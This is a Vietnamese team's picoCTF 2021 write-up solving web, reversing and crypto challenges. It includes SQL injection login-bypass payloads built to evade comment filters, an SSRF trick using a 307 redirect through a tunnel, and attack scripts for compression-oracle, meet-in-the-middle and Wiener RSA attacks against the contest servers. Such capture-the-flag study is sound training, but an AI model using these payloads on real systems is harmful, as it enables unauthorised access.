wannaShare | Writeup picoCTF 2021 | Web + Pwn + Re + Crypto + Forensics

PHAPHA_JIàN
19:51 03/05/2021

Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com

picoCTF 2021 được tổ chức từ 16/03 đến 31/03 năm 2021

*GENERAL SKILL>

tangiang0812

-Tab, Tab, Attack

Trước tiên ta cần tải Addadshashanammu.zip về.Từ gợi ý ta sẽ unzip file này.Ta kiểm tra từng thư mục thì thấy được file "fang-of-haynekhtnamet" là một file có thể thực thi. Kiểm tra file này bằng cách dùng câu lệnh file.Sau đó ta sẽ thực thi file này.Vậy là ta đã có được flag: picoCTF{l3v3l_up!_t4k3_4_r35t!_524e3dc4}

-Obedient Cat

Trước tiên ta tải Download flag.Sau đó ta mở Terminal, di chuyển đến thu mục Downloads bằng câu lệnh"cd Downloads" (cách dùng lệnh https://chiasefree.com/linux-tutorials/15-lenh-cd-trong-linux) .Sau khi di chuyển đến thư mục Downloads ta dùng lệnh "cat flag" .Lệnh cat dùng để hiển thị nội dung của file text, trong trường hợp này chính là file mà ta đã tải lúc bắt đầu.

-Nice netcat

Sử dụng câu lệnh mà đề gợi ý ta thu được như sauDựa theo gợi ý của đề thì ta có thể biết được đây chính là thứ tự tương ứng của các ký tự trong bảng mã ASCII. Ta sẽ sử dụng một công cụ online để chuyển đổi các số thứ tự này thành cái ký tự trong bảng mã.

-Magikarp Ground Mission

Đọc đề bài kết hợp với google thì mình biết được ssh là một công cụ có thể dùng để kết nối với một máy khác và điều khiển máy đang được kết nối đó.Mình sẽ click vào nút Launch Instance để cho chạy máy mình sắp kết nối.Sau đó mình sẽ dùng dòng lệnh ssh ctf-player@venus.picoctf.net -p 49982 để kết nối vào máy đang chạy.

-Wave a flag

Đầu tiên ta cần tải file This program về.Sau đó ta sẽ chạy file.Nhưng lúc này file vẫn chưa thể chạy được vì file chưa được cấp quyền.Để cho file chạy được ta cần nhập câu lệnh "chmod +x warm"Sau khi nhập câu lệnh trên file đã có thể chạy được.Lúc này hiện lên yêu cầu thêm tham số -h xem điều gì sẽ xảy ra.



*WEB>


Author: nitol

-GET aHEAD

Từ description mình nghĩ ngay đến HTTP HEAD method requests, dùng curl ta có được flag.

-Scavenger Hunt

Xem source trang web.part 1 :Từ comment html của file index -> picoCTF{tpart 2: comment của mycss.css -> h4ts_4_l0part 3: robots.txt -> t_0f_pl4cpart 4: ./htaccess -> 3s_2_lO0kpart 5: .DS_Store -> _7a46d25d}Easy right?

-Cookies

Từ title ta kiểm tra cookie của trang webName = -1 ?, name=-1 ta thấy vấn đề ở đây thử đổi lại 1:Thử tăng dần name=2:Có vẻ như mỗi lần tăng dần index ta được kí tự khác nhau:Viết code để solve thôi, ta tìm thấy flag ở index thứ 18

-MOST COOKIES

Với tiêu đề và hints ta focus nhanh vào cookieSecret_key được chọn random từ list cookie_names, theo kinh nghiệm solve các challenge từ các giải trước mình chắc chắn 69,96% là dựa vào danh sách trên để usign cookieMình lấy 1 tên bất kì từ danh sách trên để lấy session cookie:eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YGWFLg.0-iV6pAkrXOVNQTHzNs6mhOF_60Ta dùng flask-unsign để brute secret với wordlist là danh sách ở biến cookie_names:Với session là admin thì trang web sẽ render ra flag !!!Sign lại với veryauth=admin bằng secret “fortune”Change cookie and got flag ?![](https://gblobscdn.gitbook.com/assets%2Fwrite-up%2F-MXBc5m9Xt6IaxvgIuzq%2F-MXBqFQpKczoeRdlDvs%2F13.png?alt=media)

-Some Assembly Required 1

Bài này là dạng WASM khá chuối với người mới tiếp cận asm như mình @@(crypto + re trá hình)Fuzz từ source ta có khá nhiều thông tin để giải quyết:Từ Devtools console dump biến exports, có một hàm khả nghi là check_flag, nhấn vào functionlocation để xem code wasmTừ hàm copy_char có thể hiểu là chương trình tạo ra 1 array tạm sau đó copy từng phần tử từ inputKhông có một phép toán nào được thực thi nên mình tin đây là flag và submit.

-Some Assembly Required 2

Giống với bài 1 chỉ thay đổi hàm copy_char, ý tưởng thuật toánLấy mỗi char trong input của user xor với 8 :Áp dụng tính chất của phép xor A^B=C và A^C=BTa chỉ cần xor ngược chuỗi encode với 8 sẽ ra ngược lại flagNote: ở python cần thêm x vào sau backslash để biểu diễn bytes

data = b"xakgK\x5cNs((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu\x00\x00"flag = ""for i in range(0,len(data)):    flag += chr(data[i] ^ 8)print(flag)

-Some Assembly Required 3

Download file wasm từ challBài này khá dài nên mình dùng tool để decomplier sang mã giả javascriptWebAssembly/wabt: The WebAssembly Binary Toolkit (github.com)Mình không có nhiều kiến thức về asm nên sẽ ko giải thích sâu vào phần nàyBài này giống với 2 bài trên chỉ thay đổi hàm copy_charÝ tưởng bài toán: cho 2 dữ liệu là chuỗi encoded và chuỗi key,chủ yếu là xor giữa các index trong mảng, tương tự bài 2Không vòng lòng belike hải phòng, đọc code mình solve sẽ hiểu

enc = b"\x9dn\x93\xc8\xb2\xb9A\x8b\x90\xc2\xddc\x93\x93\x92\x8fd\x92\x9f\x94\xd5b\x91\xc5\xc0\x8ef\xc4\x97\xc0\x8f1\xc1\x90\xc4\x8ba\xc2\x94\xc9\x90"key=bytes.fromhex('f1a7f007ed')flag = ''for i in range(0,len(enc)):  k = 4 - (i % 5)  flag += chr(enc[i] ^ key[k])print(flag)

tangiang0812

-Who are you?

Vào link của đề bài http://mercury.picoctf.net:1270/ và link của Hint1 https://tools.ietf.org/html/rfc2616 cộng với google thì mình biết được việc cần làm là thay đổi giá trị của User-Agent (là một loại HTTP header, bạn có thể tham khảo các loại HTTP headers tại https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers). Giá trị mặc định của User-Agent chính là Browser mà bạn đang dùng để truy cập vào trang web.Hình ảnh hiển thị khi truy cập vào trang web bằng FirefoxCó nhiều cách để thay đổi giá trị của User-Agent. Mình lựa chọn sử dụng công cụ curl của Linux. Bạn có thể tim hiểu thêm về công cụ này tại manpage của curl.đây chính là trang truy cập được khi chưa thay đổi giá trị của User-Agent, phần khung chữ nhật chính là câu lệnh mà mình đã dùng, phần khung elip chính là nội dung của trang (trùng khớp với nội dung khi mình dùng Firefox).còn đây chính là trang nhận được khi mình đã đổi User-Agent.Đến đây nội dung của trang lại gợi ý cho mình thay đổi thêm một header nữa. Xem trong trang https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers thì mình biết được header đó chính là Referer. Vì lần này mình thay đổi giá trị của 2 headers nên mình sẽ để các headers cần thay đổi vào một file text.txt để thuận tiện thao tác.https://gblobscdn.gitbook.com/assets%2F-MY-yw2At2FPB3DgF1vF%2F-MY-z1XI5j-AIQpO064j%2F-MY0CJe1Kj-Q42B1n_2E%2Fimage.png?alt=media&token=d875c53d-3685-4541-8d63-c6ab194b0f32nội dung file text.txtCác bước cứ như thế lập lại, mỗi lần thay đổi giá trị của một header (thêm giá trị thay đổi vào file text.txt) lại có thêm một yêu cầu thay đổi giá trị của một header khác, cho đến khi ta có được một file text.txt đầy đủ theo yêu cầu của đề bài.file text.txt đầy đủVà thế là ta đã nhận được flag của bài: picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}


n3mo

-Web Gauntlet 2

type: sqlivào link chall thì ta thấy như sau, có thể đoán được mình phải bypass login ở đây.nhìn vào filter thì thấy như saucó 2 cách có thể cmt trong sqllite là /**/ và -- đều đã bị cho vào black list, nhìn vào filter này thì có vẻ nohope, mình thử login như một user bình thường thì thấy được query như sau.SELECT username, password FROM users WHERE username='a' AND password='â'

ở trường hợp bình thường thì mình có thể tạo chuỗi admin đồng thời cmt đống phía sau thì có thể bypass được login, nhưng ở đây đã bị filter hết các cách cmt trong sqlite.mình nghĩ tới hướng ném tất cả những thứ dư thừa vào trong một hàm thì có thể thay thế cmt luôn.kiểu đại loại như

SELECT username, password FROM users WHERE username='admin'||substr(' AND password=',0,0)||''trong sqlite toán tử || dùng để nối chuỗi, như trường hợp trên ta đã loại bỏ được phần AND password= mà không cần dùng tới cmtnhưng admin thì có trong black list nên ta sẽ tiếp tục sử dụng nối chuỗi ở đây.vậy payload cuối cùng của bài như sau:username: admi'||'n'||substr(password: ,0,0)||'check filter.php thì sẽ có flag + source code.

-Web Gauntlet 3

cũng tương tự như chall trước nhưng bây giờ bị limit ký tự ngắn hơn: len(username+pass)<25 nên việc sử dụng substr là không khả thi, mình chuyển sang doc của sqlitte để tìm kiếm một hàm thích hợp.có vẻ hàm này là thích hợp nhất, mình thử test local với hàm này như sauức là nó sẽ trả về đối số đầu tiên không phải null.vậy payload cuối của mình như sau.username: admi'||(nullif('n',password: ))||'query trong db: SELECT username, password FROM users WHERE username='admi'||(nullif('n',' AND password='))||''

-X marks the spot

type: xpath injectionvới hint được cho là xpath, mình search gg về bug nàySecurity: XPath Injection. What? How?thử với payload injection bình thường để bypass login thì thấychỉ có dòng màu xanh hiện ra -> bypass login không phải vấn đềvậy chỉ còn lại extract password.mình tiếp tục search blind xpath injetion.sau khi đọc khá nhiều blog về dạng này mình nhận thấy chắc chắn phải biết cấu trúc của xml bên trong mới thực hiện query blind được, nhưng thử các cách thì đều không thể tìm được cấu trúc của xml nên mình chuyển hướng.

search gg: xpath search the entire document for a stringsử dụng //* để tìm kiếm flag trong toàn bộ document.xác nhận blind thành công, tới đây có thể viết script để brute phần còn lại của flag.

-bitHug

type: ssrf đề cung câp source nên ta sẽ đọc qua một lượt để tìm chỗ có thể focus vàoở đây mình focus vào các file api, server được viết bằng type scriptđầu tiên ở file auth-api.tsnếu request được gửi từ local thì user đó sẽ được auto xác nhận là adminđồng thời flag nằm ở repo của admin => ssrf.ở fikle git-api.tstạo một web hook với điều kiện không được point to localthực hiện push git bất kỳ sẽ trigger webhook, đây là chỗ mà ta sẽ ssrf. vì app sử dụng fetch để request tới webhook nên ta có thể sử dụng redirect ở đây -> có thể bypass được điều kiện ở add webhookthực hiện đăng nhập và tạo mới repo với file README.mdở table user ta thấyđây là cách để add một user bất kỳ vào repo của mình=> goal là ssrf add mình vào repo của admin

exploit

clone reop của mình vềthực hiện add user như hướng dẫn. ở lệnh push cuối cùng, đồng thời bật wireshark để bắt requestta thấy đây là post request để add user vào repocopy payload và encode base64 như saucopy gói tin ở dạng escape stringpayload bắt đầu từ \x30\x30ở chức năng tạo web hook![](https://gblobscdn.gitbook.com/assets%2F-MMdqbAeoFMfWVhfYubS%2F-MX9xFYEU7yBxBB09ZW7%2F-MXA-ssVKF4G_9qSXsvl%2Fimage.png?alt=media&token=b6ddb63a-87a4-4243-872b-dc5638895bc6)post request ta thấy mình có thể control bao gồm, url,payload ở dạng base64, và content type.ở redirect status có 2 dạng chính là 302 và 307What's the difference between a 302 and a 307 redirect?302 chỉ chuyển hướng tới target với get request, còn 307 thì chuyển đồng thời cả method và data nếu có.vậy ta tạo một file thực hiện 307 redirect như saumở ngrok để tunner connect ra internetbody là bs64 đã gen trước đó, content type giống với lúc push gitpush bất kì để trigger web hookta thấy có request tới và được redirect ngayxác nhận add user thành công bằng cách access /_/n3mo

-Super Serial

request tới robots.txt ta thấy 1 endpoint mới là admin.phpsnhưng request tới endpoint đó thì thấy 404thử access vào index.phpsfollow theo thì ta sẽ lấy đủ sourcecookie.phpauthenticationđọc code ta thấy, file này require cookie.phpmà ở trong cookie.phpunserialize bất kỳ cookie login nào nếu được setclass access_log có phướng thức tostring để unserializefinal payload


phmngcthanh

-It is my Birthday

Ở bài này, web yêu cầu đưa 2 file khác nhau nhưng có chuỗi md5 giống nhau, còn được gọi là "đụng độ". Các bạn có thể xem "md5 collision atack" trên Google.Bởi vì challenge không check file PDF có hợp lệ hay không,ta chỉ việc upload 2 file có block "đụng độ" ( khi search google là được.

-It is my Birthday2

Ở challenge này, chúng ta phải submit 2 file PDF hợp lệ, có 1000bytes cuối giống file PDF gốc, và 2 file cùng SHA-1, mặc dù nội dung khác nhau.Đầu tiên, để tạo ra 2 file PDF đụng độ SHA-1, team chúng mình đã dùng tool SHA1Collider (https://github.com/nneonneo/sha1collider) .Nhưng, còn yêu cầu " có 1000bytes cuối giống file PDF gốc" ?Tụi mình phát hiện ra rằng, theo tiêu chuẩn của PDF, thì dấu kêt thúc PDF phải nằm trong 1024 bytes cuối. Nghĩa là khi kết thúc file PDF, các bạn có đủ 1000bytes để "Copy-paste" nội dung của file gốc. Ngạc nhiên hơn là chuyện này vẫn không làm thay đổi SHA1 hash của 2 file.Trăm nghe không bằng mắt thấy, đây là 2 file tụi mình dùng:out-invite.pdf out-invite.pdf - 3MBout-invite2.pdf out-invite2.pdf - 3MB

phuonghoang

-Some Assembly Required 4

You can find out the source of challenge and script here(script, wasm and decompiled code)

The key steps to solve

  1. Get file web assembly(.wasm) from this challenge webpage
  2. Install two packets including wabt toolkit and binaryen
  3. Using following command to decompile the web assembly to pseudo-code format:
    $ wasm-decompile ZoRd23o0wd > output
  4. Analyzing the check_flag() function of file which contains the pseudo code, I recognize that there are three stages in processing the entered flag:
    • Stage 1:
export function check_flag():int {  var a:int = g_a;  var b:int = 16;  var c:int = a - b;  g_a = c;  var d:int = 0;  c[3]:int = d;  loop L_b {    var e:ubyte_ptr = c[3]:int;    var f:int = e[1072];    var g:int = 24;    var h:int = f << g;    var i:int = h >> g;    if (eqz(i)) goto B_a;    // flag[i] == 0 then break Stage 1    var j:int = 0;    var k:int = c[3]:int;    var l:int = k[1072]:ubyte;    var m:int = 24;    var n:int = l << m;    var o:int = n >> m;    var p:int = 20;    var q:int = o ^ p;    //flag[i] ^= 20    k[1072]:byte = q;    var r:int = c[3]:int;    var s:int = r;    var t:int = j;    var u:int = s > t;    var v:int = 1;    var w:int = u & v;    if (eqz(w)) goto B_c;  //if i <= 0 then jump    var x:int = c[3]:int;    var y:int = 1;    var z:ubyte_ptr = x - y;    var aa:int = z[1072];    var ba:int = 24;    var ca:int = aa << ba;    var da:int = ca >> ba;    var ea:int = c[3]:int;    var fa:int = ea[1072]:ubyte;    var ga:int = 24;    var ha:int = fa << ga;    var ia:int = ha >> ga;    var ja:int = ia ^ da;  //else flag[i]^=flag[i - 1]    ea[1072]:byte = ja;    label B_c:    var ka:int = 2;    var la:int = c[3]:int;    var ma:int = la;    var na:int = ka;    var oa:int = ma > na;    var pa:int = 1;    var qa:int = oa & pa;    if (eqz(qa)) goto B_d;  //if i <=2 the jump     var ra:int = c[3]:int;    var sa:int = 3;    var ta:ubyte_ptr = ra - sa;    var ua:int = ta[1072];    var va:int = 24;    var wa:int = ua << va;    var xa:int = wa >> va;    var ya:int = c[3]:int;    var za:int = ya[1072]:ubyte;    var ab:int = 24;    var bb:int = za << ab;    var cb:int = bb >> ab;    var db:int = cb ^ xa;  //else flag[i]^=flag[i - 3]    ya[1072]:byte = db;    label B_d:    var eb:int = c[3]:int;    var fb:int = 10;    var gb:int = eb % fb;    var hb:int = c[3]:int;    var ib:int = hb[1072]:ubyte;    var jb:int = 24;    var kb:int = ib << jb;    var lb:int = kb >> jb;    var mb:int = lb ^ gb;  // flag[i] ^=(i % 10)    hb[1072]:byte = mb;    var nb:int = c[3]:int;    var ob:int = 2;    var pb:int = nb % ob;    if (pb) goto B_f;      //if i %2 != 0 the jump    var qb:int = c[3]:int;    var rb:int = qb[1072]:ubyte;    var sb:int = 24;    var tb:int = rb << sb;    var ub:int = tb >> sb;    var vb:int = 9;    var wb:int = ub ^ vb;  //else flag[i]^=9    qb[1072]:byte = wb;    goto B_e;    label B_f:    var xb:int = c[3]:int;    var yb:int = xb[1072]:ubyte;    var zb:int = 24;    var ac:int = yb << zb;    var bc:int = ac >> zb;    var cc:int = 8;    var dc:int = bc ^ cc;  //i%2 != 0: flag[i]^=8    xb[1072]:byte = dc;    label B_e:    var ec:int = c[3]:int;    var fc:int = 3;    var gc:int = ec % fc;    if (gc) goto B_h;    var hc:int = c[3]:int;    var ic:int = hc[1072]:ubyte;    var jc:int = 24;    var kc:int = ic << jc;    var lc:int = kc >> jc;    var mc:int = 7;    var nc:int = lc ^ mc;  //i%3 = 0: flag[i]^= 7    hc[1072]:byte = nc;    goto B_g;    label B_h:    var oc:int = 1;    var pc:int = c[3]:int;    var qc:int = 3;    var rc:int = pc % qc;    var sc:int = rc;    var tc:int = oc;    var uc:int = sc == tc;    var vc:int = 1;    var wc:int = uc & vc;    if (eqz(wc)) goto B_j;    var xc:int = c[3]:int;    var yc:int = xc[1072]:ubyte;    var zc:int = 24;    var ad:int = yc << zc;    var bd:int = ad >> zc;    var cd:int = 6;    var dd:int = bd ^ cd;//i %3 =1: flag[i]^= 6    xc[1072]:byte = dd;    goto B_i;    label B_j:    var ed:int = c[3]:int;    var fd:int = ed[1072]:ubyte;    var gd:int = 24;    var hd:int = fd << gd;    var id:int = hd >> gd;    var jd:int = 5;    var kd:int = id ^ jd;  //i %3 =2: flag[i] ^=5    ed[1072]:byte = kd;    label B_i:    label B_g:    var ld:int = c[3]:int;    var md:int = 1;    var nd:int = ld + md;    c[3]:int = nd;    continue L_b;  }

*CRYPTO>

-Mind your Ps and Qs

Thuật toán RSA được bảo mật bằng bài toán "phân tích thừa số nguyên tố", nghĩa là nếu tình yêu đủ lớn.. í, mình lộn, nếu thừa số nguyên tố đủ lớn, thì tốn rất nhiều thời gian để phân tích ra thừa số nguyên tố ( như RSA là P và Q)Trong bài này, tích (n) nhỏ và có thể phân tích bằng factordb.com. Khi có P và Q thì có thể giải mã

-Mini RSA

Ciphertext được sinh ra bằng công thứcc= (p^e) mod n, với c là ciphertext, p là plaintext, e là số mũ công khai và n =pqCông thức trên có thể viết lại thành kn+c = p^e, với k là số tự nhiên.Vì e nhỏ nên việc của mình là burteforce k

-dachshund Attacks

import owienerc = 58488006847888091092084378046154965524139814504588578842395415774713951340513603136140178935375830638670035187168168514479798082357748205539349212760230888584041482803733520634305799812171560852884047387712518338484144105438656691063069953419554806451881167277782405506229655745327637346290140567453602174552e = 120226017522565183836262865308286857213171377547159365586174240407713740362490864149595993072576217419316655216386266807330843980973893346041417638246576356509549734839817957173357638250589227721270964572726362039926585015102265251895985759475692018165661259402988038710351375101515436382174684002069348924887n = 121401373055529266417561691962494097622396159714690239935866568210576609264939890281943756836580573424025795627074268485932408486072211381137864693498436205458719545445153744756379905214838382283453157201968328186381936856105260830884464466011497728514563619379418703831640077905810313010554008772010579975887d = owiener.attack(e, n)uncipher= pow(c,d,n)flag=bytes.fromhex(hex(uncipher)[2:]).decode('utf-8')print(flag)

-Compress and Attack

Ở challenge này, khi chúng ta kết nối với server , server sẽ nhận đoạn chúng ta gửi, cộng nó với flag, gzip nó lại và mã hóa bằng Salsa20.Team mình có thử research xem thử Salsa20 có kiểu tấn công nào hiệu quả không thì không có :( Vậy chắc là có gì ở gzip

def compress(text):    return zlib.compress(bytes(text.encode("utf-8")))def encrypt(plaintext):    secret = os.urandom(32)    cipher = Salsa20.new(key=secret)    return cipher.nonce + cipher.encrypt(plaintext)

Sau khi phân tích, thì mình nhận ra được:Khi encrypt, độ dài của ciphertext = độ dài plaintextKhi nén,nếu có đoạn lặp lại thì nó (bằng cách nào đó) độ dài chỉ thay đổi nhỏ so với đoạn không lặp lạivd: "picoCTF{" nén lại có len=16, khi nén "picoCTF{{", "picoCTFCTF{" , "picoCTF{icoCTF{" có length đều là 17Rồi, bắt đầu crack thôi ha?

from socket import *import timeimport osHOST='mercury.picoctf.net's=socket(AF_INET, SOCK_STREAM)s.connect(('mercury.picoctf.net', 29350))printable='_{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'pad=b'!@#$%^&*()'flag=b''def Pharse(s):      s=s.split(b'\n')      for i in s:              if(((len(i))==2) or (len(i)==3)):                      return itime.sleep(1)b=s.recv(40960)print(s.sendall(pad+flag+pad+b'\n'))time.sleep(1)b=s.recv(40960)length=Pharse(b)print(length)try:    for i in range(32):        for j in printable:            s.sendall(pad+bytes(j,'ansi')+flag+pad+b'\n')            time.sleep(1)            b=s.recv(40960)            b=Pharse(b)            print(b)            if b==length:                flag=bytes(j,'ansi')+flag                os.system('cls')                print(flag)                continueexcept ConnectionAbortedError as e:    print(e)    s=socket(AF_INET, SOCK_STREAM)    s.connect(('mercury.picoctf.net', 29350))    time.sleep(1)    b=s.recv(40960)    print(s.sendall(pad+flag+pad+b'\n'))    time.sleep(1)    b=s.recv(40960)    length=Pharse(b)    print(length)    pass

-DoubleDES

Ở bài này, chúng ta được cho một file source và kết nối server. Chúng ta được cho ciphertext của flag,cũng như có thể đưa paintext vào để mã hóa ra ciphertext.Ở challenge này, plaintext được mã hóa bằng 2DES, vậy cúng ta có thể dùng cách tấn công meet-in-the-middle.Vì keyspace của chúng ta gồm 1000 000 kí tự , nếu chạy 2 vòng lồng nhau thì sẽ mất 1000000*1000000= 1 000 000 000 000 lần lặp. Ta sẽ chọn một plaintext, và server sẽ trả về ciphertext sau khi encrypt 2 lần với 2 key.Đầu tiên , ta sẽ encrypt plaintext với tất cả keyspace có thể, và lưu nó lại. Sau đó, ta sẽ giải mã ciphertext bằng tất cả keyspace có thể, và lưu nó vào một bảng khác. Sau đó so sánh nếu hai giá trị bằng nhau, và ta sẽ được key mã hóa và giải mã.Chi tiết về cách tấn công này, các bạn có thể xem ở đây

#!/usr/bin/env python3from Crypto.Cipher import DESimport timefrom binascii import unhexlify, hexlifya=time.time()def encrypt(key, plain_text):    cipher = DES.new(key, DES.MODE_ECB)    return cipher.encrypt(plain_text)def decrypt(key, cipher_text):    cipher = DES.new(key, DES.MODE_ECB)    return cipher.decrypt(cipher_text)def pad(msg):    block_len = 8    over = len(msg) % block_len    pad = block_len - over    return (msg + " " * pad).encode()def _precompute(plain_text, key):    return (encrypt(key, plain_text),key)def _postcompute(plain_text, key):    return (key,decrypt(key, plain_text))    key_gen=[]table2=[]plain_text = unhexlify('7069636f63746620')cipher_text =unhexlify('39031208f84d4a6e')flag=b'f7adcad0dea941c236b0eb392169cc67df619234c7944e9a455b1099cd8232f9d7827845c78c79fd'print(plain_text,cipher_text)for i in range(0,999999):    key_gen.append(pad("{0:06d}".format(i)))table1 = dict([_precompute(plain_text, key) for key in key_gen])for key2 in key_gen:    table2.append(_postcompute(cipher_text,key2))found_key=[]for i in table2:    if i[1] in table1:        print(decrypt(table1[i[1]],decrypt(i[0],unhexlify(flag))))        breakb=time.time()print(a-b)

-Easy Peasy

Ở bài này, ta thấy:Key có độ dài 50 000 kí tựServer mã hóa flag bằng 32 kí tự đầu của keyServer cho ta gửi plaintext để encrypt, và mỗi lần encrypt, sẽ lấy n key và lần sau sẽ lấy ở vị trí tiếp theoNếu mã hóa hết 50 000 kí tự, sẽ quay về vị tri ban đầuBản chất của XOR là a^b^a=bVậy, ta sẽ gửi số kí tự bằng 50000- len(flag). Sau đó ta gửi thêm 32 kí tự . Lúc này server sẽ trả về ciphertext dùng cùng key với flag. XOR lại và ta sẽ có flag

from socket import *import timeHOST='mercury.picoctf.net'PORT=41934s=socket(AF_INET, SOCK_STREAM)s.connect((HOST, PORT))b=s.recv(4096)payload=b'a'*50000s.sendall(payload+b'\n')time.sleep(10)s.recv(4096000)s.sendall(b'a'*32 +b'\n')pay=s.recv(4096)# lấy hex XOR với ord('a'), sau đó XOR với flag ban đầu là ra

-Scrambled: RSA

Con hàng nay khoai thật sự =))) gần cuối giải mình mới có thể khám phá được thuật toán.Tưởng tượng, thay vì khi mã hóa, bạn mã hóa nguyên đoạn plaintext, mà thay vào đó bạn sẽ mã hóa từng kí tự với vị trí của chúng, và từng cái ciphertext đó lại trộn lẫn vào nhau?Ví dụ: với đoạn p i c o server sẽ mã hóa từng kí tự với vị trí của chúng : <p1><i2> <c3><o4> Nhưng nếu gửi c o p i , ta sẽ được <c1><o2><p3><i4> , khác hoàn toàn với đoạn ở trênNếu như vậy thôi là dễ rồi, nhưng đời không như mơ! Với đoạn p i c o, có thể chúng ta sẽ nhận được <p1><i2> <c3><o4> hoặc <p1><c3><i2> <o4> , <c3><o4> <p1><i2> ... không biết được thứ tự <(") .Vậy, để xử lý, chúng ta sẽ burteforce từng kí tự, và kiểm tra encrypt nó có trong flag hay không.

import osfrom socket import *import timeHOST='mercury.picoctf.net'PORT=6276def GetC(c):    if(len(Cipher)>0):        for i in Cipher:            c=c.replace(i,b'')    return cdef Clean_Response(res):    res=res.replace(b'I will encrypt whatever you give me: ',b'')    res=res.replace(b'Here you go: ',b'')    res=res.replace(b'\n',b'')    return resknown_flag=''Cipher=[]RegEx='{}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}!#$%&\()*+,-./:;<=>?@[\\]^_`'def Run_Code(known_flag,Cipher):      s=socket(AF_INET, SOCK_STREAM)    s.connect((HOST, PORT))    time.sleep(4)    flag=s.recv(409600)    print(flag)    flag=((flag.split(b' '))[1].split(b'\n'))[0]    g=b''    for i in known_flag:        payload=g+bytes(i,'ascii')+b'\n'        s.sendall(payload)        time.sleep(2)        p=s.recv(409600)        p=Clean_Response(p)        p=GetC(p)        Cipher.append(p)        g+=bytes(i,'ansi')        for i in Cipher:        print(i in flag,end='')    known_flag=bytes(known_flag,'ansi')    a=time.time()    for j in RegEx:        payload=known_flag+bytes(j,'ansi')+b'\n'        s.sendall(payload)        time.sleep(2)        p=s.recv(40960000)        p=Clean_Response(p)        print(p)                p=GetC(p)        if p in flag:            known_flag+=bytes(j,'ansi')            Cipher.append(p)            os.system('cls')             print(known_flag)            break    b=time.time()    print('took',b-a,'sec')Run_Code(known_flag,Cipher)

-Caesar

Bài này mã hóa bằng thuật toán caesar.Thuật toán caesar là thuật toán mã hóa cơ bản, dịch chuyển kí tự đi n vị trí.Ở bài này, bảng chữ cái có 26 kí tự, ta có thể thử cả 26 kí tự để tìm ra flag

import stringLOWERCASE_OFFSET = ord("a")ALPHABET = string.ascii_lowercase[:16]def b16_decode(encoded):    dec=""    for c in range((len(encoded)//2)):        binary="{0:04b}".format(ALPHABET.index(encoded[2*c]))        binary+="{0:04b}".format(ALPHABET.index(encoded[2*c+1]))        #print((encoded[2*c]),(encoded[2*c+1]))        #print(binary)        dec+=chr(int(binary,2))    return decdef shift(c, k):    t1 = ord(c) - LOWERCASE_OFFSETt2 = k    return ALPHABET[( t1-t2) % len(ALPHABET)]encoded = "ihjghbjgjhfbhbfcfjflfjiifdfgffihfeigidfligigffihfjfhfhfhigfjfffjfeihihfdieieih"k = ALPHABETfor key in range(17):    enc = ""    for i, c in enumerate(encoded):        enc += shift(c, key)    #print(enc)    print('picoCTF{',b16_decode(enc),'}')#print(enc)

-Pixelated

Việc của ta là XOR 2 ảnh lại

import numpy as npfrom PIL import Imageim1 = Image.open("scrambled1.png")im2 = Image.open("scrambled2.png")im1np = np.array(im1)*1079im2np = np.array(im2)*1079result = np.bitwise_xor(im1np, im2np).astype(np.uint8)Image.fromarray(result).save('result.png')

Mochi Nishi

-New Caesar

Source Code for New CaesarSource Code for New CaesarNhìn vào source code, ta có một vài nhận xét:

-New Vignere

Chúng ta sẽ lướt nhìn vào source code:

import stringLOWERCASE_OFFSET = ord("a")ALPHABET = string.ascii_lowercase[:16]def b16_encode(plain):    enc = ""    for c in plain:        binary = "{0:08b}".format(ord(c))        enc += ALPHABET[int(binary[:4], 2)]        enc += ALPHABET[int(binary[4:], 2)]    return encdef shift(c, k):    t1 = ord(c) - LOWERCASE_OFFSET    t2 = ord(k) - LOWERCASE_OFFSET    return ALPHABET[(t1 + t2) % len(ALPHABET)]flag = "redacted"assert all([c in "abcdef0123456789" for c in flag])key = "redacted"assert all([k in ALPHABET for k in key]) and len(key) < 15b16 = b16_encode(flag)enc = ""for i, c in enumerate(b16):    enc += shift(c, key[i % len(key)])print(enc)

Từ những điều trên, ta thấy rằng New Vignere là một New Caesar nhưng hoàn hảo hơn, như vậy ta cần phải viết một đoạn script hoàn hảo hơn để có thể break được cipher này với một vài ý tưởng sau:

import stringLOWERCASE_OFFSET = ord("a")ALPHABET = string.ascii_lowercase[:16]def shift_decode(c, k):    t1 = ord(c) - LOWERCASE_OFFSET    t2 = ord(k) - LOWERCASE_OFFSET    return ALPHABET[(t1 - t2) % len(ALPHABET)]string = 'bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp'keyChar = "abcdef0123456789"li1 = ['le', 'lf', 'lg', 'lh', 'li', 'lj', 'ob', 'oc', 'od', 'oe', 'of', 'og', 'oh', 'oi', 'oj', 'ok']li2 = ['af', 'ag', 'ah', 'ai', 'aj', 'ak', 'dc', 'dd', 'de', 'df', 'dg', 'dh', 'di', 'dj', 'dk', 'dl']li3 = ['ca', 'cl', 'cm', 'cn', 'co', 'cp', 'fa', 'fb', 'fi', 'fj', 'fk', 'fl', 'fm', 'fn', 'fo', 'fp']li4 = ['ae', 'af', 'ag', 'ah', 'ai', 'aj', 'db', 'dc', 'dd', 'de', 'df', 'dg', 'dh', 'di', 'dj', 'dk']def b16_decode(ct):    de_ct = ''    for i in range(0, len(ct), 2):        k = ((ord(ct[i]) - LOWERCASE_OFFSET) << 4) + ord(ct[i+1]) - LOWERCASE_OFFSET        de_ct += chr(k)    return de_ct
# li = []# # Đoạn code này để tạo ra 4 mảng trên, tương ứng với 4 cặp kí tự đầu tiên của encrypted flag mà đề cho, sao cho khi decode ra các từ trong keyChar# for x1 in ALPHABET:#     for x2 in ALPHABET:#         #cou = 0 2 4 6#         cou = 6#         m = string[cou] + string[cou + 1]#         key = x1 + x2##         flag = 0#         de = ''#         for i in range(2):#             de += shift_decode(m[i], key[i])##         o = b16_decode(de)#         if o in keyChar: li.append(key)## print(li)
